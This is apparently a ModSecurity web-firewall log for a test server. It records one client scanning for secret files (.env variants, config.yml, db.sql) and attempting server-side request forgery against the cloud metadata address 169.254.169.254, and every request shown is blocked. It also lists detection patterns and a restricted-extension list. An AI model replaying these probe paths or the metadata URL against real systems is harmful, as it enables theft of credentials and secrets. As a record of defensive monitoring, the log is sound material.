[Tue Aug 05 11:03:31.925539 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4QAAAAw&quot;]
[Tue Aug 05 11:03:31.925769 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4QAAAAw&quot;]
[Tue Aug 05 11:03:31.925949 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4QAAAAw&quot;]
[Tue Aug 05 11:03:31.965545 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4gAAAAw&quot;]
[Tue Aug 05 11:03:31.965791 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4gAAAAw&quot;]
[Tue Aug 05 11:03:31.965972 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;aJHI44T2dZ5PqApOWJqJ4gAAAAw&quot;]
[Tue Aug 05 11:03:32.005546 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ4wAAAAw&quot;]
[Tue Aug 05 11:03:32.005778 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ4wAAAAw&quot;]
[Tue Aug 05 11:03:32.005979 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ4wAAAAw&quot;]
[Tue Aug 05 11:03:32.167909 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ5wAAAAw&quot;]
[Tue Aug 05 11:03:32.168172 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ5wAAAAw&quot;]
[Tue Aug 05 11:03:32.168353 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ5wAAAAw&quot;]
[Tue Aug 05 11:03:32.948262 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /api/config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9QAAAAw&quot;]
[Tue Aug 05 11:03:32.948485 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9QAAAAw&quot;]
[Tue Aug 05 11:03:32.948654 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9QAAAAw&quot;]
[Tue Aug 05 11:03:32.988164 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9gAAAAw&quot;]
[Tue Aug 05 11:03:32.988508 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9gAAAAw&quot;]
[Tue Aug 05 11:03:32.988699 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aJHI5IT2dZ5PqApOWJqJ9gAAAAw&quot;]
[Tue Aug 05 11:03:33.383774 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ-QAAAAw&quot;]
[Tue Aug 05 11:03:33.384174 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ-QAAAAw&quot;]
[Tue Aug 05 11:03:33.384362 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ-QAAAAw&quot;]
[Tue Aug 05 11:03:33.504799 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_AAAAAw&quot;]
[Tue Aug 05 11:03:33.505226 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_AAAAAw&quot;]
[Tue Aug 05 11:03:33.505431 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_AAAAAw&quot;]
[Tue Aug 05 11:03:33.585537 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_gAAAAw&quot;]
[Tue Aug 05 11:03:33.585786 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_gAAAAw&quot;]
[Tue Aug 05 11:03:33.585963 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqJ_gAAAAw&quot;]
[Tue Aug 05 11:03:33.665967 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqKAAAAAAw&quot;]
[Tue Aug 05 11:03:33.666208 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqKAAAAAAw&quot;]
[Tue Aug 05 11:03:33.666432 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aJHI5YT2dZ5PqApOWJqKAAAAAAw&quot;]
[Tue Aug 05 11:03:34.398558 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKCQAAAAw&quot;]
[Tue Aug 05 11:03:34.398941 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKCQAAAAw&quot;]
